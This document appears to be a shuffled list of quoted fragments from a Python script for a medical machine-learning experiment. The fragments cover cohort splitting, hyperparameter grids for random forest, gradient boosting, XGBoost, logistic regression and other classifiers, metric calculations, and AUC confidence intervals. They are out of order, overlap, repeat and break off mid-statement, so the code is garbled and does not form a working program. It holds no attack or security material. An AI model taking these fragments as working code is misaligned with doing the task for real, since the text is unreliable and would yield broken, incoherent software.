"None: test_data = data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col, axis",
"label, to_exclude = to_exclude, test_ind_col = test_ind_col, drop = 'all',",
"['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100,",
"'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg':",
"= 'l1'), # {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver =",
"[817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf'",
"800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features':",
"'subsample': [0.25, 0.5, 0.75, 1], # 'max_features': [None, 'sqrt', 'log2',",
"[0.25, 0.5, 0.75, 1], # 'max_features': [None, 'sqrt', 'log2', 0.5]}),",
"res_df.spec - 1 # remove predictions which represent non-separable decision",
"imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv = cv, test =",
"{}), # 'xgb': (xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(), #",
"{}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600],",
"drop == 'some': data = data.drop(k, axis = 1) if",
"'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000, 4000], #",
"1, imputer = 'iterative', add_missing_flags = True): from medical_ML import",
"res_df['sens'] = res_df.TP / (res_df.TP + res_df.FN) res_df['spec'] = res_df.TN",
"[None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters =",
"res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV * res_df.sens",
"\"reg_lambda\": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300],",
"[-1], columns = ['y_pred', 'y_true', 'TN', \"FN\"]), res_df], axis =",
"[3,4,5], # 'learning_rate': [0.1, 0.3], # \"reg_alpha\": [0, 1], #",
"se_AUC, AUC, AUC + zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters",
"# 'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), #",
"GradientBoostingRegressor from sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude = None,",
"[4,5,6,8], # 'subsample': [0.85], # 'max_features': [0.25, 0.5]}), # 'gbm':",
"'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate':",
"= res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true == 0).cumsum() res_df['FN']",
"= np.sqrt(numerator / denom) return (se_AUC, AUC - zsc *",
"[0.01, 0.003, 0.4], # 'max_depth': [5, 6, 7], # 'subsample':",
"from sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier from",
"'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), # 'gbm':",
"[0.01], # 'max_depth': [5], # 'subsample': [0.75], # 'max_features': [0.25]}),",
"- 1) * (q2 - AUC * AUC) denom =",
"is not None: for k in to_exclude.keys(): if k ==",
"# self.data = self.data[self.data['year'] <= 2010] # self.data = self.data.drop(['year'],",
"AUC / (2 - AUC) q2 = (2 * AUC",
"# 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(),",
"res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def set_up_plot(): # plt.grid(True,",
"N1, N2, ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc =",
"test_data = data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col, axis =",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3, 5,",
"[100, 200, 300, 500, 1000, 2000, # 4000], # 'max_depth':",
"'log2', 0.25, 0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100,",
"= imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv = cv, test",
"0.001], # 'max_depth': [4,5,6,8], # 'subsample': [0.85], # 'max_features': [0.25,",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100, 200],",
"0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\":",
"== 'agebl': data = data[data[k] >= to_exclude[k]] elif to_exclude[k]: data",
"= oversample_rate, imputer = imputer, add_missing_flags = add_missing_flags) expt.save_and_plot_results(models, cv",
"= pd.read_csv(datafile) else: data = datafile test_data = None if",
"plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR,",
"1) * (q2 - AUC * AUC) denom = N1",
"'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20, 50], 'weights':",
"[3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators':",
"LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC",
"# 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000], #",
"(Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty",
"['sqrt', 0.25, 0.5, 0.75, 1.0], # \"class_weight\": [None]}), # 'rf':",
"'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4], # 'learning_rate':",
"501, 1000], # 'max_depth': [3,5,7], # \"min_samples_split\": [2, 5], #",
"[0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth':",
"= 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver =",
"# {}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"{\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\"",
"solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'),",
"0.5]}), } return(models_and_parameters) def calc_metrics(y_true, y_pred, return_all = False): res_df",
"+ res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV *",
"(LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver",
"expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer =",
"[0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), # 'xgb':",
"(linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators':",
"400, 800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85],",
"'-', linewidth = 0.7) ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05,",
"'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000], # 'max_depth':",
"+ res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec - 1 #",
"2000, # 4000], # 'max_depth': [2, 3, 4, 5, 6,",
"= res_df.TN / (res_df.TN + res_df.FP) res_df['PPV'] = res_df.TP /",
"[0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], #",
"# {}), # 'xgb': (xgb.XGBClassifier(), # {}), # 'rf': (RandomForestClassifier(),",
"False: res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, \"TN\": 0,",
"#, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter':",
"1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'],",
"['auto'], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [",
"linestyle = '-', linewidth = 0.7) ax = plt.gca() plt.xlim([-0.05,",
"[501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3, 5,",
"1) # self.data = self.data[self.data['year'] <= 2010] # self.data =",
"{\"criterion\": [\"entropy\"], # \"max_depth\": [2, 3, 4, 5, 10, 20],",
"- AUC) q2 = (2 * AUC * AUC) /",
"75, 100, 200], # 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5,",
"(GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate': [0.01], # 'max_depth':",
"'y_pred': -1, \"TN\": 0, \"FN\":0}, index = [-1], columns =",
"0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty",
"0.25, 0.5, 0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"#, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001,",
"'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss':",
"'major', color = '0.85', linewidth = 0.7) plt.grid(True, 'minor', color",
"mode='classification', oversample_rate = oversample_rate, imputer = imputer, add_missing_flags = add_missing_flags)",
"linewidth = 0.7) plt.grid(True, 'minor', color = \"0.92\", linestyle =",
"def load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg':",
"(GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500, 1000, 2000, #",
"non-separable decision points (i.e., y_pred is equal) if return_all ==",
"[0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000],",
"= 'w', linewidth = 0.7) plt.grid(True, 'major', color = '0.85',",
"(xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth':",
"6, 7, # 9], # 'subsample': [0.75, # 1], #",
"isinstance(datafile, str): data = pd.read_csv(datafile) else: data = datafile test_data",
"- AUC * AUC) + (N2 - 1) * (q2",
"#, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(), {}), #,",
"500, 1000, 2000, # 4000], # 'max_depth': [2, 3, 4,",
"plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata,",
"(RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5], # \"min_samples_split\": [5],",
"9, 11, 13], # \"min_samples_split\": [2], # 'max_features': ['sqrt', 0.25,",
"= data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col, axis = 1)",
"== 1] test_data = test_data.drop(test_ind_col, axis = 1) data =",
"'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5,",
"from medical_ML import Experiment print('\\n\\n' + 'STARTING EXPERIMENT FOR '",
"'iterative', add_missing_flags = True): from medical_ML import Experiment print('\\n\\n' +",
"['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10,",
"label = 'Label', cv = 5, score_name = \"AUC\", to_exclude",
"# 'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto',",
"'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5], # \"min_samples_split\":",
"if drop == 'all': if (k != 'race') & (k",
"0] data = data.drop(test_ind_col, axis = 1) return(data, test_data) def",
"res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score'] =",
"is equal) if return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last') ==",
"+ 'STARTING EXPERIMENT FOR ' + RESULT_DIR + '\\n\\n') expt",
"['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features':",
"'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), #",
"[501], 'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt',",
"numerator = AUC * (1 - AUC) + (N1 -",
"to_exclude[k]] elif to_exclude[k]: data = data[data[k] == 0] if drop",
"[4, 6, 8, 10], # \"min_samples_split\": [2, 10], # 'max_features':",
"+ res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score']",
"not None: for k in to_exclude.keys(): if k == 'race':",
"= test_data.drop(test_ind_col, axis = 1) data = data[data[test_ind_col] == 0]",
"\"FN\":0}, index = [-1], columns = ['y_pred', 'y_true', 'TN', \"FN\"]),",
"[2,3,5], # 'subsample': [0.25, 0.5, 0.75, 1], # 'max_features': [None,",
"(GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth': [5],",
"'max_features': [0.25], \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400,",
"def train_val(RESULT_DIR, alldata, models, label = 'Label', cv = 5,",
"1] test_data = test_data.drop(test_ind_col, axis = 1) data = data[data[test_ind_col]",
"'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600],",
"1000], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}), #",
"drop == 'all': if (k != 'race') & (k !=",
"0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'),",
"(RandomForestClassifier(), # {'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9], #",
"'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3, 5, 10],",
"# 'max_depth': [7,8,9], # \"min_samples_split\": [5,10], # 'max_features': [0.25, 0.5,",
"= res_df.TP / (res_df.TP + res_df.FN) res_df['spec'] = res_df.TN /",
"\"\"\" Load and clean the dataset \"\"\" if isinstance(datafile, str):",
"(DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\": [2, 3, 4, 5, 10,",
"(2 * AUC * AUC) / (1 + AUC) numerator",
"# 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.1, 0.3, 1,5,",
"None: for k in to_exclude.keys(): if k == 'race': data",
"DummyRegressor def split_cohort(datafile, to_exclude = None, test_ind_col = None, drop",
"# 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400,",
"# \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" # 'logreg': (LogisticRegression(),",
"[0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(),",
"10]}), #, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #,",
"{'n_estimators': [500, 1000], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\":",
"+ res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy']",
"(res_df.TP + res_df.FP) res_df['accuracy'] = (res_df.TP + res_df.TN) / (res_df.shape[0])",
"res_df.FP) res_df['PPV'] = res_df.TP / (res_df.TP + res_df.FP) res_df['accuracy'] =",
"res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens + res_df.spec",
"300, 500, 1000, 2000, # 4000], # 'max_depth': [2, 3,",
"RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier from sklearn.tree import DecisionTreeClassifier",
"# 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], #",
"[ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2,",
"and clean the dataset \"\"\" if isinstance(datafile, str): data =",
"6, 7], # 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}),",
"[0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1',",
"axis = 1) return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2, ci",
"'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8], \"min_samples_split\": [10], 'max_features':",
"[0.85, 1], # 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), #",
"return_all = False): res_df = pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred},",
"0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400],",
"= 5, score_name = \"AUC\", to_exclude = None, test_ind_col =",
"y_pred, return_all = False): res_df = pd.DataFrame({'y_true' : y_true, 'y_pred':",
"= add_missing_flags) expt.save_and_plot_results(models, cv = cv, test = False) return(expt)",
"return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}),",
"\"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], #",
"(k != 'race') & (k != 'agebl'): data = data.drop(k,",
"# 'learning_rate': [0.1, 0.3], # \"reg_alpha\": [0, 1], # \"reg_lambda\":",
"# \"C\":[0.1]}), #, \"balanced\" # 'logreg': (LogisticRegression(), # {}), #,",
"4, 5, 10, 20], # None \"max_depth\": [1, 2, 3,",
"== False: res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, \"TN\":",
"\"TN\": 0, \"FN\":0}, index = [-1], columns = ['y_pred', 'y_true',",
"1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800], 'learning_rate': [0.03,",
"-1, \"TN\": 0, \"FN\":0}, index = [-1], columns = ['y_pred',",
"600], # 'learning_rate': [0.01], # 'max_depth': [5, 6], # 'subsample':",
"[5], # 'max_features': ['auto'], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(),",
"1000, 2000, # 4000], # 'max_depth': [2, 3, 4, 5,",
"= data[data[k].isin(to_exclude[k])] elif k == 'agebl': data = data[data[k] >=",
"#, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" # 'logreg': (LogisticRegression(), #",
"'max_depth': [5, 6], # 'subsample': [0.85], # 'max_features': [0.25]}), #",
"# \"reg_lambda\": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200,",
"pd.read_csv(datafile) else: data = datafile test_data = None if to_exclude",
"# {'n_estimators': [200, 300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5],",
"as xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import",
"test_data.drop(test_ind_col, axis = 1) data = data[data[test_ind_col] == 0] data",
"# \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01,",
"(GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200,",
"AUC * (1 - AUC) + (N1 - 1) *",
"# 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5], #",
"['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators':",
"# from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.) q1 =",
"pd import scipy.stats as st #from medical_ML import Experiment import",
"'gbm': (GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100,",
"'minor', color = \"0.92\", linestyle = '-', linewidth = 0.7)",
"linewidth = 0.7) ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05])",
"\"AUC\", to_exclude = None, test_ind_col = None, oversample_rate = 1,",
"= data[data[k] == 0] if drop == 'some': data =",
"'max_features': [0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500,",
"[None], # \"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" # 'logreg':",
"from sklearn import linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from",
"#, \"balanced\" # # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\":",
"'l1'), # {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'),",
"from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.) q1 = AUC",
"5, 10, 20, 50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(),",
"predictions which represent non-separable decision points (i.e., y_pred is equal)",
"# {'n_estimators': [50, 100, 501, 1000], # 'max_depth': [3,5,7], #",
"[8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(),",
"plt.grid(True, 'major', color = 'w', linewidth = 0.7) plt.grid(True, 'major',",
"3, 4], # None \"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2, 5,",
"* res_df.sens / (res_df.PPV + res_df.sens) res_df['youdens_index'] = res_df.sens +",
"se_AUC) def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}),",
"[10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5,",
"[3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\":",
"import scipy.stats as st #from medical_ML import Experiment import matplotlib.pyplot",
"0.01,0.1, 1]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {}), 'elnet':",
"1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}),",
"1.01, 0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), #",
"[2, 3, 4, 5, 10, 20], # None \"max_depth\": [1,",
"= data[data[test_ind_col] == 0] data = data.drop(test_ind_col, axis = 1)",
"1) return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2, ci = 0.95):",
"'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(),",
"'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3,",
"# 1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, #",
"Experiment print('\\n\\n' + 'STARTING EXPERIMENT FOR ' + RESULT_DIR +",
"# self.data = self.data.drop(['year'], axis = 1) if test_ind_col is",
"dataset \"\"\" if isinstance(datafile, str): data = pd.read_csv(datafile) else: data",
"!= 'race') & (k != 'agebl'): data = data.drop(k, axis",
"'learning_rate': [0.1], # \"reg_alpha\": [0, 10], # \"reg_lambda\": [0.1, 10]}),",
"= datafile test_data = None if to_exclude is not None:",
"'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25],",
"(GradientBoostingClassifier(), # {'n_estimators': [25, 50, 75, 100, 200], # 'max_depth':",
"from sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude = None, test_ind_col",
"# 'max_depth': [2, 3, 4, 5, 6, 7, # 9],",
"Lasso from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC from",
"[300, 400, 500], # 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth':",
"'agebl'): data = data.drop(k, axis = 1) # self.data =",
"+ (N2 - 1) * (q2 - AUC * AUC)",
"(xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4], # 'learning_rate': [0.1],",
"'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}),",
"'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(), # {\"class_weight\": [None],",
"'logreg': (LogisticRegression(), # {}), #, \"balanced\" # # \"C\":[0.1]}), #,",
"# 'max_features': [None, 'sqrt', 'log2', 0.5]}), } return(models_and_parameters) def calc_metrics(y_true,",
"color = '0.85', linewidth = 0.7) plt.grid(True, 'minor', color =",
"0.7) ax = plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) #",
"[5, 6, 7], # 'subsample': [0.85, 1], # 'max_features': [0.25,",
"1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def train_val(RESULT_DIR, alldata, models, label =",
"None \"max_depth\": [1, 2, 3, 4], # None \"splitter\": [\"best\",",
"0.01, 0.001], # 'max_depth': [4,5,6,8], # 'subsample': [0.85], # 'max_features':",
"# {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth':",
"0.25, 0.5, 0.75, 1.0], # \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(),",
"'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn':",
"'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50,",
"from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC from sklearn",
"{'n_estimators': [500], # 'max_depth': [4], # 'learning_rate': [0.1], # \"reg_alpha\":",
"= '-', linewidth = 0.7) ax = plt.gca() plt.xlim([-0.05, 1.05])",
"= plt.gca() plt.xlim([-0.05, 1.05]) plt.ylim([-0.05, 1.05]) ax.set_axisbelow(True) # ax.patch.set_facecolor(\"0.85\") def",
"'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}),",
"[100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], # \"reg_alpha\":",
"= RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate,",
"DummyClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso",
"axis = 1) if test_ind_col is not None: test_data =",
"= { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1,",
"20], \"random_state\": [817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}),",
"# 'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}),",
"'y_true']) res_df = res_df.sort_values(by = 'y_pred') res_df['TN'] = (res_df.y_true ==",
"{}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9],",
"= st.norm.ppf(1 - (1-ci)/2.) q1 = AUC / (2 -",
"= 1) # self.data = self.data[self.data['year'] <= 2010] # self.data",
"1000], # 'max_depth': [3,5,7], # \"min_samples_split\": [2, 5], # 'max_features':",
"* se_AUC, AUC, AUC + zsc * se_AUC) def load_models_and_parameters_default():",
"10], # 'max_features': [0.25, 0.5], # \"class_weight\": [None]}), 'rf': (RandomForestClassifier(),",
"[None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8], \"min_samples_split\": [10],",
"[0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(),",
"(q2 - AUC * AUC) denom = N1 * N2",
"'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'],",
"0.001], 'max_depth': [4,5,6,8], 'subsample': [0.85], 'max_features': [0.25, 0.5]}), # 'gbm':",
"[0.01], # 'max_depth': [5, 6], # 'subsample': [0.85], # 'max_features':",
"0.3, 1,5, 10]}), #, \"balanced\" 'logreg': (LogisticRegression(), {\"class_weight\": [None], \"C\":[0.01,0.1,",
"if return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df)",
"= 0.7) plt.grid(True, 'minor', color = \"0.92\", linestyle = '-',",
"# 'gbm': (GradientBoostingClassifier(), # {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"]}), # 'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}), #",
"(RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], \"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\":",
"# {'n_estimators': [600], # 'max_depth': [9], # \"min_samples_split\": [10], #",
"denom) return (se_AUC, AUC - zsc * se_AUC, AUC, AUC",
"\"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000],",
"'subsample': [0.75, # 1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5,",
"def split_cohort(datafile, to_exclude = None, test_ind_col = None, drop =",
"= 1, imputer = 'iterative', add_missing_flags = True): from medical_ML",
"1], # \"reg_lambda\": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators':",
